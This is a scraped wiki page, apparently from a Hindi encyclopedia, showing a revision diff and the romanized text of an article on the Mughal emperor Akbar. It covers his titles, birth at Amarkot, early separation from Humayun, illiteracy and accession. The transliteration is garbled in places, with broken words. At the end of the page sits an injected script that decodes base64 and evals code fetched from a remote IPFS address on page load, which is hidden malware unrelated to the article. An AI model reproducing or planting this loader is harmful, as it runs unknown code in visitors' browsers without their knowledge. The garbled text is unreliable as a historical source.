Difference between revisions of "अकबर"
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) |
|||
Line 12: | Line 12: | ||
|उपाधि=जलाल-उद-दीन | |उपाधि=जलाल-उद-दीन | ||
|राज्य सीमा=उत्तर और मध्य भारत | |राज्य सीमा=उत्तर और मध्य भारत | ||
− | |शासन काल=27 जनवरी, 1556 - 27 अक्टूबर, 1605 | + | |शासन काल=[[27 जनवरी]], 1556 - [[27 अक्टूबर]], 1605 |
|शासन अवधि=49 वर्ष | |शासन अवधि=49 वर्ष | ||
|धार्मिक मान्यता=नया मज़हब बनाया [[दीन-ए-इलाही]] | |धार्मिक मान्यता=नया मज़हब बनाया [[दीन-ए-इलाही]] | ||
Line 38: | Line 38: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
− | ''' | + | '''जलाल उद्दीन मुहम्मद अकबर''' ([[अंग्रेज़ी]]: ''Jalal-ud-din Muhammad Akbar'', जन्म: [[15 अक्टूबर]], 1542 ई. [[अमरकोट]]<ref name="akbarnama"/> - मृत्यु: [[27 अक्टूबर]], 1605 ई. [[आगरा]]) [[भारत]] का महानतम [[मुग़ल]] शंहशाह (शासनकाल 1556 - 1605 ई.) था, जिसने मुग़ल शक्ति का भारतीय उपमहाद्वीप के अधिकांश हिस्सों में विस्तार किया। अपने साम्राज्य की एकता बनाए रखने के लिए अकबर द्वारा ऐसी नीतियाँ अपनाई गईं, जिनसे गैर मुसलमानों की राजभक्ति जीती जा सके। [[भारत का इतिहास|भारत के इतिहास]] में आज अकबर का नाम काफ़ी प्रसिद्ध है। उसने अपने शासनकाल में सभी धर्मों का सम्मान किया था, सभी जाति-वर्गों के लोगों को एक समान माना और उनसे अपने मित्रता के सम्बन्ध स्थापित किये। अकबर ने अपने शासनकाल में सारे [[भारत]] को एक साम्राज्य के अंतर्गत लाने का प्रयास किया, जिसमें वह काफ़ी हद तक सफल भी रहा। |
{{संदर्भ|हुमायूँ|जहाँगीर|दीन-ए-इलाही|अकबरनामा|आइन-इ-अकबरी|तानसेन|टोडरमल|बीरबल|बैजू बावरा}} | {{संदर्भ|हुमायूँ|जहाँगीर|दीन-ए-इलाही|अकबरनामा|आइन-इ-अकबरी|तानसेन|टोडरमल|बीरबल|बैजू बावरा}} |
Latest revision as of 06:13, 23 May 2018
akabar
| |
poora nam | jalaluddin muhammad akabar |
janm | 15 aktoobar sanh 1542 (lagabhag)[1] |
janm bhoomi | amarakot, sindh (pakistan) |
mrityu tithi | 27 aktoobar sanh 1605 (umr 63 varsh) |
mrityu sthan | fatehapur sikari, agara |
pita/mata | humayooan, mariyam maqani |
pati/patni | mariyam uz-zamani (harakhabaee) |
santan | jahaangir ke alava 5 putr 7 betiyaan |
upadhi | jalal-ud-din |
rajy sima | uttar aur madhy bharat |
shasan kal | 27 janavari, 1556 - 27 aktoobar, 1605 |
sha. avadhi | 49 varsh |
rajyabhishek | 14 farabari 1556 kalanapur ke pas guradasapur |
dharmik manyata | naya mazahab banaya din-e-ilahi |
yuddh | panipat, haldighati |
sudhar-parivartan | jaziya hataya, rajapootoan se vivah sanbandh |
rajadhani | fatehapur sikari agara, dilli |
poorvadhikari | humayooan |
uttaradhikari | jahaangir |
rajagharana | mugal |
vansh | taimoor aur changez khaan ka vansh |
maqabara | sikandara, agara |
sanbandhit lekh | mugal kal |
jalal uddin muhammad akabar (aangrezi: Jalal-ud-din Muhammad Akbar, janm: 15 aktoobar, 1542 ee. amarakot[1] - mrityu: 27 aktoobar, 1605 ee. agara) bharat ka mahanatam mugal shanhashah (shasanakal 1556 - 1605 ee.) tha, jisane mugal shakti ka bharatiy upamahadvip ke adhikaansh hissoan mean vistar kiya. apane samrajy ki ekata banae rakhane ke lie akabar dvara aisi nitiyaan apanaee geean, jinase gair musalamanoan ki rajabhakti jiti ja sake. bharat ke itihas mean aj akabar ka nam kafi prasiddh hai. usane apane shasanakal mean sabhi dharmoan ka samman kiya tha, sabhi jati-vargoan ke logoan ko ek saman mana aur unase apane mitrata ke sambandh sthapit kiye. akabar ne apane shasanakal mean sare bharat ko ek samrajy ke aantargat lane ka prayas kiya, jisamean vah kafi had tak saphal bhi raha.
- chitr:Seealso.gifakabar ka ullekh in lekhoan mean bhi hai: humayooan, jahaangir, din-e-ilahi, akabaranama, ain-i-akabari, tanasen, todaramal, birabal evan baijoo bavara
parichay
- REDIRECTsaancha:mukhy
akabar ka janm 15 aktoobar, 1542 ee. (19 isaphandaramij ravivar, rajab hijari ka din ya vikram sanvat 1599 ke kartik mas ki chhathi)[1] ko 'hamida banoo' ke garbh se amarakot ke rana virasal ke mahal mean hua tha. ajakal kitane hi log amarakot ko umarakot samajhane ki galati karate haian. vastut: yah ilaka rajasthan ka abhinn aang tha. aj bhi vahaan hindoo rajapoot basate haian. registan aur siandh ki sima par hone ke karan aangrezoan ne ise siandh ke sath jo d diya aur vibhajan ke bad vah pakistan ka aang ban gaya.
mata-pita se bichhu dana
- REDIRECTsaancha:mukhy
humayooan apane khoye hue rajy ko phir se prapt karane ke lie sangharsharat tha. tabhi vah eeran ke tahamasp ki sahayata prapt karane ke khyal se kandhar ki or chala. b di mushkil se sehavan par usane siandh par kiya, phir balochistan ke raste kveta ke dakshin mastang sthan par pahuancha, jo ki kandhar ki sima par tha. is samay yahaan par usaka chhota bhaee askari apane bhaee kabul ke shasak kamaraan ki or se hukoomat kar raha tha. humayooan ko khabar mili ki, askari hamala karake usako pak dana chahata hai. mukabala karane ke lie adami nahian the. jara-si bhi der karane se kam big dane vala tha. usake pas mean gho doan ki bhi kami thi. usane tardi beg se maanga, to usane dene se inkar kar diya. humayooan, hamida banoo ko apane pichhe gho de par bithakar paha doan ki or bhaga. usake jate der nahian lagi ki askari do hazar savaroan ke sath pahuanch gaya. humayooan sal bhar ke shishu akabar ko le jane mean asamarth hua. vah vahian dere mean chhoot gaya. askari ne bhatije ke oopar gussa nahian utara aur use jauhar adi ke hath achchhi tarah se kandhar le gaya. kandhar mean askari ki patni sultan begam vatsaly dikhalane ke lie taiyar thi.
shiksha
- REDIRECTsaancha:mukhy
akabar ajivan nirakshar raha. pratha ke anusar char varsh, char mahine, char din par akabar ka akshararambh hua aur mulla asamuddin ibrahim ko shikshak banane ka saubhagy prapt hua. kuchh dinoan ke bad jab path sunane ki bari aee, to vahaan kuchh bhi nahian tha. humayooan ne socha, mulla ki beparavahi se l daka padh nahian raha hai. logoan ne bhi j d diya-“mulla ko kabootarabazi ka bahut shauq hai. usane shagird ko bhi kabootaroan ke mele mean laga diya hai”. phir mulla bayajid shikshak hue, lekin koee bhi phal nahian nikala. donoan purane mullaoan ke sath maulana abdul kadir ke nam ko bhi shamil karake chitthi dali gee. sanyog se maulana ka nam nikal aya. kuchh dinoan tak vah bhi padhate rahe. kabul mean rahate akabar ko kabootarabazi aur kuttoan ke sath khelane se phursat nahian thi. hindustan mean aya, tab bhi vahian raphtar bedhangi rahi. mulla pir muhammad-bairam khaan ke vakil ko yah kam sauanpa gaya. lekin akabar ne to kasam kha li thi ki, bap padhe n ham.
rajyabhishek
- REDIRECTsaancha:mukhy
1551 ee. mean matr 9 varsh ki avastha mean pahali bar akabar ko gazani ki soobedari sauanpi gee. humayooan ne hindustan ki punarvijay ke samay munim khaan ko akabar ka sanrakshak niyukt kiya. sikandar soor se akabar dvara sarahind ko chhin lene ke bad humayooan ne 1555 ee. mean use apana ‘yuvaraj’ ghoshit kiya. dilli par adhikar kar lene ke bad humayooan ne akabar ko lahaur ka garvanar niyukt kiya, sath hi akabar ke sanrakshak munim khaan ko apane doosare l dake mirza hakim ka aangarakshak niyukt kar, turk senapati bairam khaan ko akabar ka sanrakshak niyukt kiya.
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>